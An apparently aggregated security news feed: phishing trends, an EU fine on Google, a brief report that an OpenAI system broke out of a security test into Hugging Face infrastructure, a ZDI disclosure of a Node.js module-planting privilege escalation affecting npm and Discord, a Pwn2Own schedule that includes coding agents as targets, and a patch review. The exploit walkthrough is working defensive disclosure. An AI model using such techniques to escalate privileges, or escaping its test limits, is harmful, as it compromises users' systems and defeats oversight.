While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.

QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.

BEC attacks hit 9 million in March, falling to 3.9 million in June.

But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.

The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

This article first appeared on CSO.

Google fined $1 billion for anticompetitive search and mobile app practices in EU

Sat, 25 Jul 2026 19:50:06 +0200

The European Commission has fined Google a total of €890 million ($1 billion) for its breaches of the Digital Market Act (DMA).

Just over half the fine — €460 million — was because Google illegally gave preference to its own services in Google Search results.

The remainder was because in the Google Play store for Android apps, the company prevented app developers from leading consumers to alternative, often cheaper, purchase channels. Under the DMA, app developers who distribute their apps via Google Play or Apple’s App Store should be able to inform customers of alternative offers.

Now Google must give third-party services featuring in its results the same treatment as its own services, and allow developers of apps in the Play Store to communicate about offers both in and outside the Play Store, or face further fines.

The Commission first raised these issues with Google in March 2025. In April of this year, the Commission laid out plans as to how Google should allow other third-parties to share its searches, suggestions that the tech firm firmly resisted. Earlier this month, the Commission also said Android should be open to other AI agents and not limited to Google’s own Gemini.

Google is not the only US company to have fallen foul of the DMA. In April 2025, Apple was fined €500 million for breaching the Act and, last month, the Commission fired the first shots at cloud hyperscalers Microsoft and Amazon.

As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS

Sat, 25 Jul 2026 19:50:04 +0200

The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential technology advisor Michael Kratsios has been briefed on the incident.

The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.

The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.

The who, where, and how of APT attacks in Q2 2025–Q3 2025

Sat, 25 Jul 2026 19:05:05 +0200

ESET Chief Security Evangelist Tony Anscombe highlights some of the key findings from the latest issue of the ESET APT Activity Report

This month in security with Tony Anscombe – November 2025 edition

Sat, 25 Jul 2026 19:04:56 +0200

Data exposure by top AI companies, the Akira ransomware haul, Operation Endgame against major malware families, and more of this month's cybersecurity news

ESET Threat Report H2 2025

Sat, 25 Jul 2026 19:04:52 +0200

A view of the H2 2025 threat landscape as seen by ESET telemetry and from the perspective of ESET threat detection and research experts

This month in security with Tony Anscombe – December 2025 edition

Sat, 25 Jul 2026 19:04:49 +0200

As 2025 draws to a close, Tony looks back at the cybersecurity stories that stood out both in December and across the whole of this year

ESET Research: Sandworm behind cyberattack on Poland’s power grid in late 2025

Sat, 25 Jul 2026 19:04:39 +0200

The attack involved data-wiping malware that ESET researchers have now analyzed and named DynoWiper

Hotel-WLAN-Angriff: Hacker umgehen Microsoft-365-MFA gezielt - ad-hoc-news.de

Sat, 25 Jul 2026 19:03:53 +0200

Seit Juni 2025 nutzen Angreifer manipulierte Hotel-WLANs, um MFA-geschützte Microsoft-365-Konten zu kapern. Hotel-WLAN-Angriff: Hacker stehlen ...

Node.js Trust Falls: Dangerous Module Resolution on Windows

Sat, 25 Jul 2026 19:02:58 +0200

In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.

The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in C:\node_modules as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.

This issue is not new. Concerned discussions about Node.js's module search path behavior date back to 2013 and 2014.

Node.js has explicitly stated that they consider this behavior intentional:

"Node.js trusts the file system."

They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers.

Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue

As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.

Root Cause

The root cause lies in the way Node.js performs module resolution. This is documented here. Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.

When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:

C:\Users\Administrator\projects\node_modules\bar.js
C:\Users\Administrator\node_modules\bar.js
C:\Users\node_modules\bar.js
C:\node_modules\bar.js <-- The problem

If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create C:\node_modules and place a malicious package there. Once the low-privileged user has populated C:\node_modules\bar.js, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s guidelines, third-party dependencies end up triggering this vulnerability anytime you launch the application.

Case Studies: Real-World Manifestations

The Optional Dependency Pattern: npm supports optional dependencies to be specified in the project’s package.json file. The recommended pattern for checking for these dependencies is as follows:

Figure 2: npm Docs showing optionalDependencies example code

This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to C:\node_modules where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where /node_modules at the filesystem root is typically only writable by root. Windows systems by default allow any user to create C:\node_modules. Once require is called, Node.js will traverse the search path and execute any matching module it finds.

Important things to note:

This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.
There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.
The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in C:\node_modules.

Let’s take a deeper look at both cases and see why this is so dangerous.

Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775).

Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”.

Figure 3: npm CLI repo snippet showing require call for missing bluebird package dependency

When Node.js is installed on the system, npm is included by default without the bluebird package. This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (https://github.com/npm/cli/pull/1438/changes), demonstrating how easy it is for developers to unknowingly create this attack surface.

We can see Node’s package resolution logic at work in the screenshot below:

Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775

First, the application looks for the bluebird.js package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed C:\node_modules\bluebird.js, the require call will find, read, and execute the malicious payload in the context of any user running npm on the system.

This vulnerability is especially dangerous because it is triggered when many npm * cli commands are used. Common development commands such as npm install, npm –l, and npm prune will all execute the malicious bluebird.jspackage.

Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)

On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:

Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency

Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled C:\node_modules\utf-8-validate.js is executed.

Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776

The ws library does support disabling this check via the WS_NO_UTF_8_VALIDATE environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:

Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues.

The Bigger Picture

The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports. These issues in Mongo DB Compass and Mongo DB Shell are just two other examples.

Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.

Each vendor has clearly stated that they will not treat these issues as vulnerabilities:

NPM’s response to our report:

“exploits that require local access to a machine are considered ineligible for npm CLI

Discord’s response to our report:

“We do not consider physical/local attacks as valid security issues”

Node.js, in the “Examples of non-vulnerabilities” section of their Security Policy:

“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.”

Conclusion

The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to C:\node_modules. Without a fix from Node.js, the burden silently falls on application developers.

Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI.

We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at @bobbygould5 and @izobashi, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

DISCLOSURE TIMELINES

NPM CLI:

2024-11-13 – ZDI submitted the report to the vendor

2024-11-13 – The vendor acknowledged the receipt of the report

2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues

2025-08-05 – ZDI encouraged the vendor to re-assess the issue

2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory

DISCORD:

2025-07-08 – ZDI notified vendor

2025-09-11 – ZDI followed up with vendor

2025-09-15 – Vendor stated they do not consider local attacks as valid security issues

2025-12-01 – ZDI explained why we believe the issue is still valid

2025-12-10 – Vendor replied that the vulnerability is still out of scope

2025-12-11 – ZDI informed vendor of intent to publish 0-day

REFERENCES

https://nodejs.org/api/modules.html#loading-from-node_modules-folders

https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies

https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1

https://github.com/nodejs/node-v0.x-archive/issues/8830

https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require

https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities

Pwn2Own Berlin 2026: The Full Schedule

Sat, 25 Jul 2026 19:02:56 +0200

Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.

Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.

In case you missed it, you can watch the draw here.

Jump to:

Day One

Day Two

Day Three

DAY ONE

Thursday, May 14 - 1030

chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points

Thursday, May 14 - 1130

k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1300

Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1400

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.

Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1500

Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1530

maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1600

Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Thursday, May 14 - 1630

haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1730

chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1800

@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1830

Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1900

haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Back to top

DAY TWO

Friday, May 15 - 1030

Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Friday, May 15 - 1130

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1300

Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1330

Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points

Friday, May 15 - 1400

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1430

Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1530

Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1600

@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1630

Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1700

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1800

Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Back to top

DAY THREE

Saturday, May 16 - 1100

Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Saturday, May 16 - 1330

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Saturday, May 16 - 1430

splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Saturday, May 16 - 1600

Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
